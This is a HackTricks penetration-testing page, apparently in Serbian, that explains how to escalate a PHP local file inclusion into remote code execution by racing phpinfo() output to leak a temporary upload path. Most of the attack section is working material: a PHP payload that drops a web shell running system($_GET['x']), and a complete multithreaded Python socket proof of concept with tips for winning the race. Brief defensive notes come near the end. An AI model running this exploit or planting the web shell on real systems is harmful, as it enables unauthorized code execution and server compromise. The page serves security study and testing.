LFI to RCE via PHPInfo
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Da biste iskoristili ovu tehniku, potrebni su vam svi sledeći uslovi:
- Dostupna stranica koja ispisuje izlaz phpinfo().
- Local File Inclusion (LFI) primitiv koji kontrolišete (npr. include/require na korisnički unos).
- Omogućeni PHP file uploads (file_uploads = On). Bilo koji PHP skript prihvatiće RFC1867 multipart upload i kreirati privremeni fajl za svaki poslani deo.
- PHP proces mora moći da piše u konfigurisan upload_tmp_dir (ili podrazumevani sistemski temp direktorijum), i vaš LFI mora moći da uključi tu putanju.
Classic write-up and original PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Originalni naziv PoC skripte: phpinfolfi.py (pogledajte whitepaper i mirror-e)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Napomene o originalnom PoC-u
- Izlaz phpinfo() je HTML-enkodiran, pa strelica “=>” često izgleda kao “=>”. Ako ponovo koristite legacy skripte, obavezno da traže oba enkodiranja pri parsiranju vrednosti _FILES[tmp_name].
- Morate prilagoditi payload (vaš PHP kod), REQ1 (zahtev ka phpinfo() endpointu uključujući padding), i LFIREQ (zahtev ka vašem LFI sinku). Neki targeti ne zahtevaju null-byte (%00) terminator i modernije PHP verzije ga možda neće poštovati. Prilagodite LFIREQ u skladu sa ranjivim sinkom.
Primer sed komande (samo ako zaista koristite stari Python2 PoC) za poklapanje HTML-enkodirane strelice:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
Teorija
- Kada PHP primi multipart/form-data POST sa poljem za fajl, upisuje sadržaj u privremeni fajl (upload_tmp_dir ili OS default) i izlaže putanju u $_FILES[‘
’][‘tmp_name’]. Fajl se automatski uklanja na kraju zahteva osim ako nije premješten/ preimenovan. - Trik je da saznate privremeno ime i uključite ga preko vašeg LFI pre nego što PHP to obriše. phpinfo() ispisuje $_FILES, uključujući tmp_name.
- Udužavanjem headera/parametara zahteva (padding) možete prouzrokovati da rani delovi izlaza phpinfo() budu flush-ovani ka klijentu pre nego što zahtev završi, tako da možete pročitati tmp_name dok privremeni fajl još postoji i odmah potom pogoditi LFI tom putanjom.
Na Windows-u se privremeni fajlovi obično nalaze negde poput C:\Windows\Temp\php*.tmp. Na Linux/Unix sistemima obično su u /tmp ili u direktorijumu podešenom u upload_tmp_dir.
Šta proveriti u phpinfo() pre trke
Pre nego što pošaljete hiljade zahteva, izdvojite vrednosti koje odlučuju da li je trka realistična:
file_uploads: mora bitiOn.upload_tmp_dir: ako je podešen, to je direktorijum koji vaš LFI mora moći da uključi. Ako je prazan, očekujte sistemski default temp direktorijum.open_basedir: ako je omogućen, vaša ranjiva include putanja i dalje mora moći da dopre do temp direktorijuma prikazanog utmp_name.output_buffering:4096je česta/podrazumevana veličina i zato mnogi PoCs čitaju u 4KB delovima, ali ova vrednost može da varira.zlib.output_compression,output_handler, i bilo koje framework-level bufferovanje: ovo smanjuje šansu datmp_namevidite dovoljno rano.Server API: korisno za procenu koliko bufferovanja može postojati između PHP i vas (apache2handlerje obično lakše razaznati negofpm-fcgiiza reverse proxy).
Ako stranica ne prikazuje $_FILES, uverite se da zaista šaljete multipart/form-data zahtev sa stvarnim file delom. PHP popunjava tmp_name samo za upload polja koja su parsirana.
Tok napada (korak po korak)
- Pripremite mali PHP payload koji brzo postavi shell kako biste izbegli gubitak trke (pisanje fajla je generalno brže od čekanja reverse shell-a):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
Pošaljite veliki multipart POST direktno na phpinfo() stranicu tako da ona kreira privremenu datoteku koja sadrži vaš payload. Napumpajte razne headers/cookies/params sa ~5–10KB paddinga da podstaknete rani output. Uverite se da ime polja forme odgovara onome što ćete parsirati u $_FILES.
-
Dok se odgovor phpinfo() još uvek streamuje, parsirajte delimično telo da izvučete $_FILES[‘
’][‘tmp_name’] (HTML-encoded). Čim dobijete puni apsolutni put (npr. /tmp/php3Fz9aB), pokrenite vaš LFI da include-uje taj put. Ako include() izvrši privremenu datoteku pre nego što bude obrisana, vaš payload se izvršava i ispušta /tmp/.p.php. -
Iskoristite ispuštenu datoteku: GET /vuln.php?include=/tmp/.p.php&x=id (ili gde god vaš LFI dozvoljava inclusion) da pouzdano izvršavate komande.
Saveti
- Koristite više paralelnih radnika da povećate šanse za pobedu u trci.
- Pozicije paddinga koje obično pomažu: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Podesite prema targetu.
- Ako ranjivi sink dodaje ekstenziju (npr. .php), ne treba vam null byte; include() će izvršiti PHP bez obzira na ekstenziju privremene datoteke.
Minimal Python 3 PoC (socket-based)
The snippet below focuses on the critical parts and is easier to adapt than the legacy Python2 script. Customize HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
Otklanjanje problema
- Nikada ne vidite
tmp_name: Uverite se da zaista šaljete POST multipart/form-data na phpinfo(). phpinfo() prikazuje $_FILES samo kada je bilo prisutno polje za upload. tmp_namese pojavljuje tek na samom kraju odgovora: Ovo je obično problem buffera, a ne problem verzije PHP-a. Velike vrednostioutput_buffering,zlib.output_compression, userland output handlers, ili reverse-proxy/FastCGI buffering mogu odložiti telo phpinfo() sve dok upload zahtev skoro ne bude završen.- Pouzdano streamovanje dobijate samo u laboratoriji, ne preko pravog sajta: CDN, WAF, ili reverse proxy može buffovati upstream odgovor. Ako imate više ruta do iste aplikacije, preferirajte najdirektniji origin put.
- Klasična logika offseta od 4096 bajta promašuje leak: Tretirajte 4096 kao polaznu tačku izvedenu iz uobičajenih default vrednosti
output_buffering, a ne kao univerzalnu konstantu. Parsirajte inkrementalno i zaustavite se čimtmp_namebude kompletan. - Privremeni fajl je uključen ali vaša shell odmah umre: Koristite mali stager koji zapisuje drugi fajl, jer će uploadovani temp fajl i dalje biti obrisan kada originalni zahtev završi.
- Output se ne flushuje ranije: Povećajte padding, dodajte više velikih header-a, ili pošaljite više konkurentnih zahteva. Neki SAPI/baferi neće flushovati dok se ne dostignu veće granice; prilagodite se tome.
- LFI putanja blokirana open_basedir ili chroot: Morate usmeriti LFI na dozvoljenu putanju ili preći na drugi LFI2RCE vektor.
- Temp direktorijum nije /tmp: phpinfo() ispisuje punu apsolutnu
tmp_nameputanju; koristite upravo tu putanju u LFI.
Praktične napomene za moderne stackove
- Ova tehnika je i dalje reproducibilna u modernim laboratorijskim okruženjima; na primer, Vulhub održava demonstrator na PHP 7.2. U praksi, uspeh obično više zavisi od output buffering-a i proxy-inga nego od phpinfo-specifičnog nivoa zakrpe.
flush()iimplicit_flushutiču samo na PHP-ov sopstveni output layer. Ne garantuju da će FastCGI gateway, reverse proxy, browser, ili posrednik odmah pustiti delimične delove odgovora.- Ako je target
fpm-fcgiiza Nginx/Apache proxy-ja, razmišljajte u slojevima: PHP buffer, PHP output handlers/compression, FastCGI buffering, potom proxy buffering. Race radi samo ako dovoljno dela phpinfo() odgovora izmakne tom lancu pre nego što gašenje zahteva obriše temp fajl.
Odbrambene napomene
- Nikada ne izlažite phpinfo() u produkciji. Ako je neophodno, ograničite pristup po IP/auth i uklonite nakon upotrebe.
- Držite file_uploads onemogućenim ako nije potreban. U suprotnom, ograničite upload_tmp_dir na putanju koju include() u aplikaciji ne može dohvatiti i primenite strogu validaciju za sve include/require putanje.
- Tretirajte svaki LFI kao kritičan; čak i bez phpinfo(), postoje drugi LFI→RCE putevi.
Povezane HackTricks tehnike
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Reference
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
- PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
- Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


